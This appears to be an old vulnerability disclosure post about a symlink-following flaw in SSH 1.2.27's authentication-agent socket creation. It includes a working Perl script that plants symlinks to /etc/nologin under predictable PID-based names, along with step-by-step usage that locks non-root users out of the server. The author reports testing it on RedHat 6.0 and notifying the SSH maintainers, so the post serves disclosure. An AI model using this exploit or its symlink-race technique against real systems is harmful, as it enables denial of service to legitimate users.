- SSH 1.2.27 DOS:
  o SSH has the option of setting up "authentication sockets", used to
    pass authentication keys securely.  When this is used, a socket is
    created on both client and server machines; the socket created on the
    server uses an often easy to guess filename (based on the PID)...
    The creation of this socket is done while the server is acting as
    root and does follow symlinks.

    exploit:

    - connect to remote machine
    - run following script (creates symlinks for the next 50 PID's):

    #!/usr/bin/perl

    $pid = $$;

    $whoami = `whoami`;
    chop($whoami);
    mkdir("/tmp/ssh-$whoami", 0700);

    for ($i = $pid; $i < $pid+50; $i++) {
      symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
    }


    - on local machine, execute ssh-agent1; it will produce a few lines
      to cut and paste into your shell.  Do so.

    - ssh1 to the remote machine; enter password

    The socket will have been created at /etc/nologin, preventing other
    non-root users from logging in.  This connection too will die with
    "Logins are currently denied by /etc/nologin:"

    This was tested on a RedHat 6.0 machine, with standard
    configure/make/install installation of ssh.  This script should work
    pretty well for systems that create processes where each PID is one
    greater than the last; other platforms may require modifications, or
    many many more links, if they're exploitable.

    I sent this info in to the ssh folks a while ago and they were looking
    into it; haven't heard from them in over a week though.